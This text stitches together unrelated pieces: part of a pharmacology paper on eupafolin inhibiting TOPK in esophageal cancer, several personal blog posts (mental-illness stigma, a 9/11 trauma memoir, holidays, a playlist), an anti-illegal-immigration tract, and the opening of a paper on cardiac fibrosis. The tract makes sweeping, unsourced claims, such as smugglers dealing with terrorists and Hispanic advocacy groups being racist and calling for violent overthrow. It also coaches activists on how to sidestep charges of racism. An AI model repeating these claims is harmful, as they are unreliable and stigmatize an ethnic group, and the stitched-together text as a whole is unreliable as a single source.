We then examined whether knocking down TOPK expression influences the sensitivity of KYSE450 cancer cells to eupafolin. Firstly, we determined the efficiency of TOPK shRNA. The results showed that the expression of TOPK obviously decreased after shRNA transfection; the efficient of shTOPK1\# was better than shTOPK2\# ([**Figure 4A**](#f4){ref-type="fig"}). Then, the growth of cells on anchorage-independent growth assay also decreased over 30% after transfection shTOPK1\# compared with the mock group ([**Figure 4B**](#f4){ref-type="fig"}). Moreover, KYSE450 cells transfected with TOPK shRNA1\# or mock control were treated with eupafolin or vehicle and subjected to anchorage-independent growth assay. The results showed that eupafolin (20 µM) inhibited colon number of KYSE450 cells transfected with mock shRNA by about 65%. In contrast, the inhibition was only about 17% in KYSE450 cells transfected with shTOPK1\#, indicating that KYSE450 cells transfected with shTOPK1\# were more resistant to eupafolin treatment ([**Figure 4B**](#f4){ref-type="fig"}). These results suggested that TOPK plays an important role in the sensitivity of KYSE450 cells to the antiproliferative effects of eupafolin. We then investigated the effect of eupafolin on downstream targets of TOPK, the phosphorylation of histone H3 in KYSE450 cells which was relatively more sensitive to eupafolin. Western blot results showed that the phosphorylation level of histone H3 (Ser10) was significantly decreased with eupafolin treatment in a time dependent manner ([**Figure 4C**](#f4){ref-type="fig"}). The above results showed that TOPK is a direct target for eupafolin to suppress esophagus cancer cells growth.
{#f4}
Eupafolin Suppresses Esophageal Tumor Growth in a PDX Mouse Model {#s3_5}
-----------------------------------------------------------------
Furthermore, to explore the anti-tumor effectiveness of eupafolin in patient-derived xenograft (PDX) with tumor tissues collected from esophageal cancer patients with high expression of TOPK to further investigate the effectiveness of eupafolin. The results showed that eupafolin (20 or 50 mg/kg) effectively inhibited PDX tumor growth compared with the vehicle-treated group ([**Figure 5A**](#f5){ref-type="fig"}) with no significant loss in body weight ([**Figure 5B**](#f5){ref-type="fig"}), suggesting minimal toxicity. Additionally, treatment with eupafolin suppressed phosphorylation of histone H3 expression downregulated the expression of Ki-67 and increased cleaved caspase 3 levels in tumor tissues. While, there were no significant different of cleaved caspase 3 expression in peritumoral tissues ([**Figure 5C**](#f5){ref-type="fig"}). The positive expression of [**Figure 5C**](#f5){ref-type="fig"} was statistically shown in [**Figure 5D**](#f5){ref-type="fig"}. Furthermore, we detected the activity of caspase 3 using Caspase 3 Activity Assay Kit in tumor and peritumoral tissues. The results showed that eupafolin inhibited the activity of caspase 3 significantly in a dose dependent manner in tumor tissues, but it had no effect on the peritumoral tissues ([**Figure 5E**](#f5){ref-type="fig"}). Overall, these results illustrated that eupafolin has potential as chemotherapeutic agent against esophageal cancer.
{#f5}
Discussion {#s4}
==========
Esophageal cancer is a kind of malignancies, which is increasing gradually year by year with a higher incidence and mortality. The 5-year survival rate of esophageal cancer is only 10% ([@B20]). Esophageal squamous cell carcinoma and esophageal adenocarcinoma are two kinds of esophageal cancer. Esophageal squamous cell carcinoma accounts for 90% of all cases of esophageal cancer ([@B19]) and approximately 70% of esophageal cancer cases occur in China, especially in Anyang city of Henan province ([@B13]; [@B6]).
Chemotherapy is a common method for treating esophageal cancer including 5-fluorouracil (FU), cisplatin, paclitaxel, and mitomycin which are commonly used to treat esophageal cancer as a single treatment or in combination ([@B3]; [@B12]). However, these agents are prone to hematological toxicity ([@B15]).
Over the past few decades, most of targeted therapies against esophageal cancer has not been progressing as smoothly as hoped, and new targets and inhibitors need to be identified for the treatment of esophageal cancer. TOPK (also known as protein PBK) is a serine-/threonine-specific protein kinase and has been known to audience since 2000 ([@B1]). Whereafter, a series of discoveries of TOPK function were reported in many kinds of cancers and is involved in various biological processes, including cell proliferation, apoptosis, transcription, migration, and invasion ([@B8]). It's reported that TOPK is highly expressed in esophageal cancer and plays an important role in esophageal cancer metastasis ([@B17]). Therefore, TOPK inhibitor could be a promising therapeutic agent for application in esophageal cancer.
Due to the natural compound have higher efficacy and lower toxicity, natural anticancer products have been studied for many years. Eupafolin also is called methoxyluteolin, a flavonoid compound from the Ay Tsao (*Artemisia*). It has shown anti-inflammation ([@B2]; [@B25]), anti-viral ([@B21]), anti-autism ([@B18]), anti-angiogenic, and anti-tumor ([@B14]; [@B10]) bioactivities. Eupafolin could be a superior drug for cancer treatment. In our study, we found that eupafolin effectively suppressed anchorage-independent cell growth of esophageal cancer cells with highly expressed TOPK and inhibited growth of patient derived xenograft tumor by suppressing TOPK activities *in vivo*.
In conclusion, eupafolin is a promising therapeutic agent in esophageal cancer chemotherapy by directly targeting TOPK.
Data Availability Statement {#s5}
===========================
The datasets generated for this study are available on request to the corresponding author.
Ethics Statement {#s6}
================
The animal study was reviewed and approved by Henan Joint International Research Laboratory of Veterinary Biologics Research and Application, Anyang Institute of Technology.
Author Contributions {#s7}
====================
XF designed research, performed research and wrote the paper; JT analyzed the data; MF extracted Eupafolin from Ay Tsao; JW expressed Histone H3 protein; XC, ZJ performed animal research and analyzed data; SL, KZ designed research and analyzed data.
Conflict of Interest {#s8}
====================
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
This work was supported by grants from PhD start-up fund of Anyang Institute of Technology \[40075815\]. This work was also supported by grants from National Natural Science Foundation of China \[81360128\]. Scientific and Technological Development Project of Yunnan Province \[2018FE001-162,2017FE467\]. Education Department Fund of Yunnan Province \[2017YJS076\].
[^1]: Edited by: Wei-Dong Zhang, Second Military Medical University, China
[^2]: Reviewed by: Qiang Wang, Nanjing Drum Tower Hospital, China; Gunjan Arora, National Institutes of Health (NIH), United States
[^3]: This article was submitted to Pharmacology of Anti-Cancer Drugs, a section of the journal Frontiers in Pharmacology
|
I wonder what the world would be like if we could talk about mental illness the same way we talk about physical illness. Not that I’m convinced that these are neatly separated categories, but it is a useful basic distinction.
Imagine if you could walk into a party and say, “don’t hug me, I’ve been suffering from traumatic flashbacks all day & I can’t take being that close to another person right now.” Like you would if you had a cold — you’d say “don’t hug me, I have a cold & don’t want to pass it along.”
If you say you have a cold, the other person might mostly ignore it & move on, saying that they hope you feel better. Or they might be moved to offer some sort of sympathy or help — “oh no, that sucks — let me give you some tissues & soup and a get well soon card.”
But what would they say if you tell them you are sorry for missing their party, but you couldn’t leave the house because the panic attack was too intense? What would they say the tenth time you tell them that?
The lack of ability to talk about mental illness is an extremely isolating phenomenon. Mental illness is just as prevalent as physical illness, but we have to hide it. We have to make excuses for missing events & reacting to things in less-typical ways because to tell the truth is considered shameful. We are not supposed to reveal that our parents tortured us, or that we’re not over the horrors we saw in war, or that our genes are messed up & we can’t be happy. We are not supposed to be vulnerable to abuse, or admit that it happened, or that it had an effect on us.
I don’t believe people are bad. I have an almost endless supply of faith in the potential redemption of every person. I am almost always willing to believe that someone does not mean to do harm. And yet I don’t see the kind of compassion in the world that I think we need to have for other people. Mental illness does not always manifest as a diagnosis in the DSM. Sometimes it’s temporary or situational — something terrible happens that overwhelms our sense of self & our capacity to relate to others. That seems like something we should be able to see & recognize in other people, not something we should punish & sweep under the rug. Even when these situations arise out of events that are societally acceptable, such as losing a spouse or other close person, we still struggle with extending compassion & understanding. We don’t even have a system for letting people know that we’re grieving a loved one, and once we’ve named our grief, others feel awkward & don’t know how to respond.
I wish we could talk about mental illness as easily as we talk about physical illness. I wish that there were better ways to incorporate the reality of mental illness into our public lives, instead of hiding it away because we are supposed to feel ashamed.
** trigger warning: this post is mostly talking about sept. 11, some dark dream content & trauma. I don’t know if it rises to the level of triggering, but just in case**
Lo the long months of summer are over. I haven’t written here for a long, long time. And now, instead of updating you on my life, I am going to write a somewhat long meditation on the events of September 11, 2001, which will a) reveal a lot of personal history and b) bring a lot of google searchers to my blog. Whatever. I am not too concerned with anonymity here any more. I’ve been looking at the NYT special report on Sept. 11 and it’s bringing up a lot of memories of that time in my life.
So. July 2001. M and I moved to CA, fresh out of undergrad, thinking we were going to break free of the ties that bound us (to our uncomfortable families, mostly, but we didn’t put it quite that way at the time) and start on our shiny new adult lives. We had been joking about how people ‘settled…like sediment in a bottle’ and scoffed at their bourgeois aspirations of kids and houses and stable jobs. Neither of us wanted that, at least I knew I didn’t want it at all. I was watching high school friends & acquaintances make choices that seemed to emulate our parents’ lives, but I was certain that youth was for other things, like seeing the world & raising hell.
We just up and left Boston, to the dismay of family & what few friends & coworkers we had. We traveled out west & found an apartment, got some jobs. But once in CA, we didn’t do so well. We got there & immediately faced some classic struggles: our new bank put a two-week hold on a five figure cashier’s check that was our combined life savings (as a result, we bounced our first rent check), our rental agent tried to renege on the pet allowance (non negotiable, we had just driven our two beloved kitties from Boston to Berkeley by rental car), M’s new job was mind-numbingly boring, and my new coworkers decided I was a ‘stuck up east-coaster’ and shunned me.
By the time September rolled around, we were deep into a profound funk. We didn’t have a car, so we started to look into buying one. Neither of us realized how minimal the public transportation was in the Bay Area — in order to visit someone we knew in Napa, we either had to go into San Francisco & take a 2-hour bus, or ride the BART to the end of the line & get picked up & driven for another hour. We were isolated. Eventually all we ever did was cook massive dinners & drink copious amounts of beer or wine while eating them.
In the midst of this, I was planning a stressful visit from my mother. The night of Sept. 10, I stood at the stove cooking eggplant parmesan, one of my specialties, in preparation for her arrival the next day. I finished frying the eggplant & assembling the dish with a massive headache — I felt so unwell I sat on the bathroom floor for an hour, crying because my head hurt so bad & convinced I was going to throw up from headache-induced nausea. I couldn’t figure out why I felt so terrible — was it the smoke from the frying? Anticipatory stress from my mother’s visit? The beets I had for dinner the night before?
So perhaps it’s not surprising that to me, the events of September 11 felt like a terrible blow to an already wounded body. We woke up that morning to a phone call from M’s mother, telling us that something bad had happened & we should check the news. She said she knew my mother was flying that day & was she okay. I turned on the television (back when we had one) to see the first tower crumple. I called my mother, who picked up the phone. She was fine, they cancelled her flight, she was going to stay in town with my father at his place of work. I watched the second tower crumple with M at my side. I said, ‘oh…they’re showing it fall again.’ and she said ‘no. that’s the other one.’ I think my mouth opened with shock.
Then we pulled ourselves together & went to work, only to find the city of San Francisco in total chaos. After arriving at work to realize that nothing was going to get done that day, we walked toward each other from our offices & met up in what felt like an apocalyptic war zone. We took the BART home amidst armed police & bomb-sniffing dogs.
***
My mother was lucky. She had booked her flight through a travel agent (old school!) and had been given the option of two different flights to CA from Boston. One was routed through Newark, flight 93 that crashed in PA. The other was routed through Chicago. She chose Chicago, and lived.
Needless to say I freaked out. I didn’t know what to do. I was 23, and my mother had just almost died. My world was upside down. No one around me seemed to care about me (remember the shunning?) and my family was worlds away, reachable only by rental car or amtrak. I can see very clearly now that this was the beginning of the end of us living in CA. After that our eyes were only focused on the east coast.
We had decided we would move back to the east coast within a year sometime either right before or right after the attacks. Neither of us could stomach the vaunted easy living of the Bay Area. We couldn’t figure out how to connect to the queer scene. We had terrible awful jobs. We were planning an agonizing trip back home over the holidays, a trip that involved two weeks and $2000 worth of Amtrak tickets. I finally broke down & suggested we just move back permanently as soon as my winter break began, in the first week of December. We hired more movers, they came & took our stuff, & we drove across the country for the second time in six months in a rented pickup truck. Everywhere we looked we saw american flags.
***
The effects of Sept. 11 on my life were not only geographic. Since my third year of college, I had been having terrible nightmares; ones that involved lots of scary bugs & rats infesting things. But after Sept. 11 these dreams intensified. One in particular was incredibly vivid & terrifying. I entered a public bathroom, very dark & filled with creepy crawlies. At the end of the hall, the first stall in a long bank of them had its door partly open. It swung further open as I approached & seated on the toilet was a fully clothed man, staring at me. He looked like a corpse, though he was still a little bit alive, and in that moment it came to me that he was filled with ground glass, that he was bleeding to death inside because he had swallowed it. The image is still burned into my brain. Versions of that dream haunted me for months afterward.
I wish I had known about trauma back then. How it works, where it comes from, the effects it can have on lives. I wish I had known that there were words to talk about it, that it was a whole field of study. That dream was triggered by September 11, no question. But it was really about my father, and the incredibly problematic relationship I had with him (details of which I will not go into here).
***
We moved back to Boston briefly, just long enough to get married & discover that the job market was less than hopping in Massachusetts. Then we moved to Manhattan.
This might seem surprising, given everything that’s gone before in this narrative. Sept. 11 scared me out of CA and back home to Boston. Why on earth did we then move to the epicenter of doom? Not even Brooklyn, but Manhattan? But it didn’t seem like a big deal to me. We joked about NY being safer than ever — what are the chances of two such catastrophes striking in a row? But what I didn’t say, couldn’t yet say, was that the trauma of Sept. 11 was not the first horrible, life-changing, completely random & awful thing that happened in my life. I already knew about trauma, already knew that horrible things happen to good people for no reason, & all we can do is survive & move forward. I doubted that Manhattan was more dangerous than Berkeley or Boston because I knew that random senseless tragedy happens everywhere. In a sense I was already in the place that many people got to after those events. This is not meant to minimize the trauma & horror that people felt because of those events — I have often grappled with a sense of alienation about them, precisely because it all seemed so logical and inevitable to me.
This is not to say that moving to Manhattan was good for me. Living in NY took its toll. I was prepared for the huge attacks, the inevitable crises, but I wasn’t prepared for the day-to-day interpersonal disdain of NY. The countless rude comments, the doors swung shut in my face, dozens of baby strollers rolled across my toes, the lack of ability to make friends and form intimate relationships with my peers — all of these things were an incredible drain on my sense of self. I found myself becoming meaner, less caring, less tolerant of other people. But when the blackout of 2003 rolled around, I was cool as a cucumber. Our apartment was in an old tenement building on the first floor, so we had running water & our gas stove worked. I cooked lighting the stove with a match & heated water for a bath, congratulating myself on my survival skills.
***
I don’t think that the events of Sept. 11, 2001 really changed my life that much. We would have left CA regardless, I’m almost sure. We would probably have moved to NYC. At that time I worked in theatre and I doubt that I would have been satisfied before trying out the bright lights of Broadway. Needless to say I found them sorely lacking, & changed careers so I could feel a sense of doing good in the world. Just like all the other people my age that the Economist writes about.
Of all the things I regret about Sept. 11, 2001, the thing I have the most horror about is the US response to the attacks. We have lost so much — I believe what we’ve lost as a country far outstrips whatever those people who flew those planes into those buildings imagined we would. We lost our collective way. Who remember the gorgeous summer of 2001? The weather was beautiful. We were worried about shark attacks. Jobs were everywhere, for everyone. I miss that time. It wasn’t an innocent time — but it was a productive time. Sept. 11 was supposed to bring us together, but it didn’t. The gap between rich and poor has widened considerably since then. Young people go into tremendous debt & graduate to no prospect of gainful employment. Our credit rating slipped as a nation so badly that other superpowers no longer want to invest in our currency.
I know we will survive this, just like we survive everything. But I wish that we could go back & do it over. Tonight, I made eggplant parmesan for dinner as a sort of commemoration. But also because eggplants and tomatoes are in season right now. I will probably always make eggplant parmesan at this time of year, because it makes sense. Over the past 10 years, I have made a lot of progress thinking through & recovering from the trauma in my life. It’s an ongoing process, as different parts of my life come into better focus. Time passes and I achieve distance from the hard stuff. I hope that we as a society & culture start recovering from the trauma of Sept. 11 soon.
my secret favorite holiday of the year is beltaine. there are a few reasons for this, which i will enumerate:
1. it is about sex. outrageous outdoor sex by blazing bonfires. or off in a leafy dell in the woods. the only day of the year where you’re supposed to stay out all night & partake in pure unadulterated joyous sex.
2. in a similar vein, it is about flowers. [similar because flowers=plant sex. yes, it’s a theme.] flowers are another one of my favorite things ever.
3. it is the first day of my birth month, which i think should be celebrated instead of my birthday. to hell with birthdays. may is full of beautiful weather and flowers all month long — what better way to celebrate my birth than dedicate a whole month to it?
so on beltaine, unfortunately once again, i did not have an opportunity to drive a herd of cattle between two bonfires and then sneak off to the woods with my beloved. sigh. really all may festivals are about sex. young girls dancing around a flower-bedecked phallic pole? clearly about sex.
in spite of my lack of bonfire exposure, i have been making use of this lovely month by spending lots of time in the lovely park by our house, eating ice cream (i’m looking forward to my free birthday sundae courtesy of here), and training for long walks in the hills when we take off and visit our friends in the UK.
yup, you heard me. all three of you who still read this blog might remember that its roots are in the UK. after we bought our tickets i said to M, ‘it’s the first time we’ve been back since we left!’
and then we both cracked up. thank you captain obvious! what i meant was, it’s the first time we’ve been back since we lived there back in 2008. and it means a lot to us. it also means a lot to us that we’ll be staying with our amazing friends, my first ever dyke friends.
in other news, this completes one full year post-grad-school, and i couldn’t be happier. seriously. i never, ever, EVER want to do that again. phew.
or maybe it is really just that i swing wildly back and forth between wanting to pour my heart out here, in positive and negative realms, and wanting not to expose myself. the fear of my distant associates finding me here holds me back, and the pain-in-the-arse-ness of the passworded post keeps me from that route right now…sigh.
in lieu of a) suspending my blog and b) writing reams about the latest wounds with salt in them, here are some random bullets greg-style:
i brought home a gorgeous loud musical instrument, which forced me to completely rearrange my room to fit it in. i will have to obtain mute pads before i can play it but i am SO HAPPY. i got a good deal on craigslist.
i had an awful run-in with straight culture this past weekend — an evil straight dude basically came on to me with his wife IN THE SAME ROOM. GROSS.
i had a terrible femme fashion moment — due to the pouring rain i had succumbed to the dreaded temptation to wear my sneakers to my new employee training, which culminated in lunch at the faculty club. i’m happily munching my grilled cheese sandwich when all of a sudden the dean of my [former] graduate school walks in and sits at the table next to us. this is a person who has a high opinion of me, and even higher expectations. AND I WAS WEARING SNEAKERS WITH MY WORK CLOTHES. epic fail. i tried to hide my face but she was on the side of me that has less hair (i’m parting my hair on the side these days) and so all i could do was try to hide my feet under the table & hope she didn’t notice me. i’m calling this a lesson learned for good.
i’ve been re-connecting with the music scene here in boston and going out more, and it feels so so good. i feel like i lost sight of how much i love going to rock shows and watching people make music. a main motivation for having just made my extravagant and awesome purchase is to bring it home even more personally and have an opportunity to do it as well as watch. yay.
March is a big deal month in my household. M and I celebrate two anniversaries in March — the relationship anniversary and the wedding anniversary. 17 years and 9 years respectively. I was at work yesterday and one of my coworkers came in all excited because she got engaged the night before, and it was one of those strange moments where I felt really old and really queer and really out of the mainstream. They went around the group and told their engagement stories, and I thought I wouldn’t join in until the last minute when the coworker I’m closest to jumped into the lull at the end of the story and said ‘FG…it’s your turn!’
So I told my story, and felt even older. ‘back in the day before debit cards, M went to the bank & took out a lot of cash, then she went to the jewelry store & said she wanted to buy a diamond ring for a friend…because this was back in the day when people just weren’t that out…then we got on a plane & went to Paris and she proposed on her knee in the mud in the Jardin du Luxembourg…’ Yeah. January 5, 2000. Back when this group was still in grade school. Sometimes life feels a little surreal.
So M and I will figure out some way to celebrate appropriately this month. It makes it all the more meaningful that last year at this time we were basically not speaking to each other. Honestly though if it’s not one thing it’s another. The relationship realm feels much more stable to me right now, but I’m struggling with some really intense personal stuff that feels like it’s sometimes winning. There are times when I feel like there’s no amount of support that could even begin to keep me on my feet. Part of me wants to say that it’s the weather, the winter, the transition to working full time — but deep down I know it’s more to do with the ghosts that are haunting me than anything environmental.
In happier and more exciting news, we signed up for a farm share. It feels like a really significant investment in the future. It’s a statement of intent in a way — we plan to be here this summer and maybe always. We plan to be together sharing food. We are investing in our local community — the farm is literally right down the street, an outpost of urban farming. We are deepening our roots in this place. We are also signing up for WAY MORE VEGETABLES than we will easily be able to eat. Stay tuned for hilarious late summer posts about how to deal with the deluge.
someone posted this meme on that terrible blue and white social networking media, and i am embarrassingly still part of it. so…i am bored and posting it.
here goes:
Lovers: Tonight
Lovers: Dead Deer
Yeah Yeah Yeahs: Hysteric
The National: Bloodbuzz Ohio
Arcade Fire: Wake Up
The Cliks: Not Your Boy
Hunter Valentine: She Only Loves Me When She’s Wasted
The Damned: Life Goes On
Lady GaGa: Paparazzi
The Go-Betweens: Quiet Heart
Lovers: Igloo for Ojos
Arcade Fire: Crown of Love
New Order: Ceremony
Joy Division: Atmosphere
Lovers: Peppermint (from Darklight, a remix of a song originally on Star Lit Sunken Ship)
Hunter Valentine: Youthful Existence
MGMT: Time To Pretend
Scissor Sisters: Don’t Feel like Dancin
Echo & The Bunnymen: Bring on the Dancing Horses
M.I.A.: Paper Planes
Lovers: Perpetual Motion, Perpetual Sound
Lovers: From A Highway
Yeah Yeah Yeahs: Turn Into
Depeche Mode: The Sinner In Me
Lady GaGa: Bad Romance
since there’s heavy representation on this list from Lovers, which (surprise!) is my favorite band, here’s their website: www.holdmyclothes.com
what’s funny about this meme is that the 25 most played songs are indeed mostly my favorites. but it also reflects a series of really difficult times in my life, when i put various of these songs on repeat for hours as i tried to calm myself down. i won’t walk you through them all, but it’s a funny thing to keep track of in a way. sometimes i listen to this list at not-sad times to desensitize myself to them.
some new faves: still Lovers (of course) but also Sharon Van Etten, i’m on a huge New Order kick right now, and i’m actually listening to the radio a fair amount.
i feel as though i should write the second december post (more musing, this time on the phrase ‘letting oneself go’) but instead i’ll update you on my life. fun times!
today is a holiday, and instead of working from home, i’m doing laundry & other household errands. because my remote desktop access isn’t really working. and i’m not cool enough to know how to fix it. also i’m rather less inspired to work today than i thought i would be, money be damned!
so: house is clean, laundry is washing, my grocery list is made, & when i get home i’m going to make a frangipane tart for the first time ever with some of the many pears in my fridge. a relative gave us a very large amount of pears for the holidays, and we bravely ate most of them, but there’s several left and it’s getting to be that time…
let’s see…i don’t do year in review posts, but those of you who know me & followed my leaving & returning to this space know that it was QUITE a year. part of me thinks that 2011 had better be a good one. because i’m going to need some time to recover. but the rest of me knows that the more you state intentions and wishes for time and life the more the universe gets to come around and kick you in the ass. so i’ll leave it at this: i hope that the healing and growing that i’m doing every day becomes both easier and more successful. and that the relationships that sustain me grow deeper and stronger.
i saw in a local cafe a box with a sign that said, ‘what do you want NOT to change about yourself in the coming year?’ and there was a stack of notecards that you could write on and add them. i don’t know what they were planning to do with these intentions, but what a cool idea. i’m still pondering this — but i know a couple of things i don’t want to change about myself, either now or ever:
anyone want to add what they are NOT going to change about themselves? i’m not really into missions of self-improvement, unless there’s something about yourself that makes you think less of yourself. i’m more interested in what makes you great. |
The
busses drive to a specific location on the border. Here the cargo
is unloaded and the process of walking across the border begins. Each
of the human cargo is given information on what to do once they reach
the other side, including a phone number of someone to call. The number
is not necessarily a local number. It may be a location in Virginia,
or Maine or Utah. Anywhere in the U.S. The person on the other end
gives instructions on how to gain transportation to their location
where they will be brought into the illegal community in that city.
And
so the journey across the border begins. Somewhere in the middle,
between Mexico and the U.S. is a tree. From the branches of that tree
hang women's panties. It's called the panty tree. Why? Trophies from
the raped women of previous journeys. It's just the cost of doing
business with the "Coyotes," the murderous thugs who run the illegal
immigrant trade. They don't care who lives or dies. These are the
ones who will leave illegals locked in trucks without food or water
or ventilation. They charge enormous fees - up front. To them the
cargo is all the same. They carry the drugs with the humans. They
make deals with terrorists for the same trip. They rape, maim and
kill. And go back for another load. Business is booming.
Once
the cargo is inside the U.S., more busses are there to pick them up
and transport them to drop off points. Here the phone calls are made
for arrangements of more transportation across the nation. And in
that highly organized manner, illegal aliens make their way into American
cities.
Some
are "Sanctuary Cities" where politicians have decided it's good for
the community to encourage illegals to live. In such communities no
one can ask for the country of origin, even if a crime as horrible
as murder is committed. The sanctuaries permit 20 million illegals,
drug smugglers, child sex rings, ID forgery networks, and an assortment
of run of the mill criminals to live lawlessly inside the United States.
They are provided with income, identification, driver's licenses,
credit, housing, education, and medical care at taxpayer expense.
As
stated, it's a $300 billion a year industry. That buys a lot of politicians.
Along the Border States no one talks about it. And, no surprise, a
lot of politicians do nothing to stop it. Our fear and their greed
are destroying the American dream.
MEANWHILE
IN YOUR LOCAL COMMUNITY…
How
a community treats the illegals is key as to how many come there.
The main magnet is the establishment of a day labor center. The nation-wide
illegal network knows where to send them. If a community opens its
arms, of course they flock there. If a community stands up to them,
they leave.
But
that is easier said than done. First, federal laws or lack of enforcement
hampers efforts against the illegals, no matter the sentiment of the
community. Federal courts strike down local laws, such as just happened
in Hazleton, Pennsylvania when a federal judge degreed that laws the
community had passed to crack down on illegals were unconstitutional.
Federal agencies say it is illegal for local police to ask if anyone
is an illegal. The federal government argues that immigration is a
federal issue and for local communities to take action interferes
with U.S. foreign policy.
On
the local level too, there is great pressure on elected officials
to do nothing. Strong lobbying arms protect the illegals. The ACLU,
of course, threatens lawsuits. But many Americans would be surprised
to learn of the Hispanic forces behind much of the pressure applied
to their local officials.
Many
immigrant groups are joined together through the La Raza movement.
These are the groups which organized the massive demonstrations in
cities across the nation last year. It is past time for all Americans
to know what is at the root of those demonstrations and the extent
to which our nation is at risk to the La Raza movement.
One
of the most prominent Hispanic organizations pushing for "immigrant
rights" is the National Council of La Raza - the Council of "the Race."
The mainstream media and most members of Congress depict La Raza as
little more than a Hispanic Rotary Club. In 2005, La Raza received
$15.2 million in federal grants, of which $7.9 million was in U.S.
Department of Education grants for Charter Schools, and undisclosed
amounts to get-out-the-vote efforts supporting La Raza political positions
including lobbying for open borders and amnesty for illegals. Had
the Senate's immigration bill passed, several million more dollars
were budgeted for La Raza.
Behind
the respectable front of the National Council of La Raza lies the
real agenda of the La Raza movement. This radical agenda, pushed by
secondary groups contains the reasons behind the demonstrations and
the strong lobbying efforts in our communities.
Key
among those secondary groups is the radical racist group Movimiento
Estudiantil Chicano de Aztlan, or Chicano Student Movement of Astlan
(MEChA). MEChA seeks to carve a racist nation out of the American
West. MEChA opposes assimilation into American society. MEChA is a
leader in the effort to "Reconquista" or reconquest our western states.
MEChA's
founding principles state: "In the spirit of a new people that is
conscious not only of its proud historical heritage but also of the
brutal gringo invasion of our territories, we, the Chicano inhabitants
and civilizers of the northern land of Aztlan from whence came our
forefathers, reclaiming the land of their birth and consecrating the
determination of our people of the sun, declare that the call of our
blood is our power, our responsibility, and our inevitable destiny...
Aztlan belongs to those who plant the seeds, water the fields, and
gather the crops and no to the foreign Europeans... For La Raza to
do. Fuera de la Raza nada." That closing two-sentence motto is chilling
to everyone who values equal rights for all. It says: "For The Race
everything. Outside The Race, nothing."
These
words don't come from a fringe radical element. These come straight
from the official MEChA sites at Georgetown University, the University
of Texas, UCLA, University of Michigan, University of Oregon, and
many other colleges and universities around the country.
Another
leading Hispanic group involved in community organization, promoting
the pro illegal position is Mexicanos Sin Fronteras. The translation
of the name means "Mexicans Without Borders." This group is active
throughout the country and many times works with the "Zapatista Army
of National Liberation." These groups seek to radicalize the Latino
community. The official website of the Mexicanos Sin Fronteras states
that it is "anti-capitalist, anti-imperialist in the capital of the
most terrorist country of world-wide history" (Washington, DC). It
goes on to say it pledges its support to "other campaigns" of the
radical illegal Hispanics with material and financial assistance.
In
Manassas, Virginia the Mexicanos Sin Fronteras and the Zapatista Army
of National Liberation are the two most prominent "pro-Hispanic" voices.
In fact, these two groups are spearheading the illegal alien lobby
in Prince William County, where Manassas is located. This is the "mainstream
opposition" to efforts to curb illegal immigration in that community.
Together, these groups are holding rallies and calling for boycotts
and even the violent overthrow of the United States. Again, these
groups are not fringe radicals. They are the most prominent voices
for the illegals.
The
photo on this page is of a meeting in Mexico with many of these groups.
It is interesting to note that speaker in this picture, with his face
covered, is Arnoldo Borjas a member of Mexicanos Sin Fronteras and
a resident of Woodbridge, Virginia. He is one of the main leaders
in that local movement. Further, in Prince William County, there are
several candidates running for local office as well as the state legislature
who are closely aligned with these two radical organizations.
FIGHTING
BACK
While
Congress fiddles and the Bush Administration issues meaningless pronouncements
on "get tough" programs it never intends to enforce, local communities
and state legislatures are beginning to fight back. And they are meeting
with success.
State
Legislatures, forced to deal with the failure of the federal government
to fix the immigration laws, have considered 1,404 immigration bills
this year and enacted 170 of them. These laws are aimed at curbing
employment of illegals and making it more difficult to obtain state
identification documents like driver's licenses.
In
May, Oklahoma passed the "Taxpayer and Citizen protection Act" which
denies illegals state identification, and requires all state and local
agencies to verify citizenship status of all applicants before authorizing
benefits.
On
the local level incredible success is being achieved in Northern Virginia.
Last year two residents of Herndon, Virginia, with no prior political
experience, began an effort called Save Herndon. The issue was the
establishment of a day labor center in the community. The center would
give illegals a gathering place in the community to help them get
jobs, identification and benefits from the community.
The
two began a campaign that at once made a major issue out of the establishment
of the center. When the mayor and the city council moved forward and
voted to establish the center over the objections of a majority of
the citizens, Save Herndon began a campaign to assure these representatives
were not re-elected. They succeeded beyond their wildest expectations,
helping to out the mayor and everyone on the city council who voted
for the center.
Now
the movement is growing across the Northern Virginia area. There is
now Help Save Manassas, Help Save Loudoun (County), Help Save Fairfax,
Help Save Virginia and Help Save Maryland. Together these purely grassroots
movements have succeeded in enacting legislation in Loudoun County
(the nation's fastest growing county) and in its neighbor, Prince
William County which stops county tax-payer services to illegals.
Incredibly, under challenge from federal and state officials, the
members of county commissioners are holding tough behind the laws.
The
key, as stated earlier, is the day labor centers. If your city has
one, then the message has gone out to the illegal infrastructure that
your community welcomes them. Get rid of it and send the message that
they are no longer welcome. If faced with lawsuits from the ACLU and
La Raze, welcome them. Tell them you will gladly have a news conference
to discuss their suit in front of the cameras. Do not be afraid.
Here
are a few guidelines to help organize locally and face the coming
onslaught of charges of racism.
DON'T
express anger at what is happening to your community. DON'T express
annoyance because illegals refuse to assimilate into your community
or abide by your customs. DON'T make the issue economic and safety
issues. Overcrowded housing and commercial vehicle zoning violations
or that specific individuals are illegal aliens.
The
pro-illegals will try to tell the public that there is uncertainty
as to who is illegal, creating doubt. They will talk about how impossible
it is to check everyone's legal status. It will be easy to charge
racism.
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Instead,
make the issues about the abrogation of law. Focus your efforts against
the individuals, businesses and politicians who create this problem
and cheat honest business owners and workers by allowing illegal hiring
practices under the table. In short, make the issue about enforcement
of the law, cost and corruption. It's working in Virginia.
Today,
we have the chance to not only stop the flood of illegal aliens, but
in the process, deflate the size and power of the federal government
in the process. It's time to organize Help Save America. For part
one click below.
Most
Americans understand that new laws are not needed to stop illegal immigration.
What is necessary is repeal of some laws granting taxpayer-financed services
to illegals along with enforcement of existing laws. |
Introduction
============
Heart failure is a clinical manifestation of various cardiovascular diseases. It is a devastating disease characterized by interstitial fibrosis, ventricular remodeling and decreased ventricular compliance. During the pathology of cardiac remodeling, activation of cardiac fibroblasts (CFs) results in excessive deposition of extracellular matrix (ECM) protein, decreased tissue compliance and accelerated heart failure [@B1], [@B2]. After myocardial injury, the secretion of various proinflammatory cytokines and fibrotic factors increase, leading to fibroblast proliferation and activation into myofibroblasts[@B3], [@B4]. In myofibroblasts, alpha-smooth muscle actin (α-SMA) is assembled into stress fibers that can remodel the surrounding ECM and then contribute to pathologic cardiac remodeling [@B5]. Therefore, the development of drugs targeting fibroblasts is essential for reducing cardiac remodeling and delaying the development of heart failure.
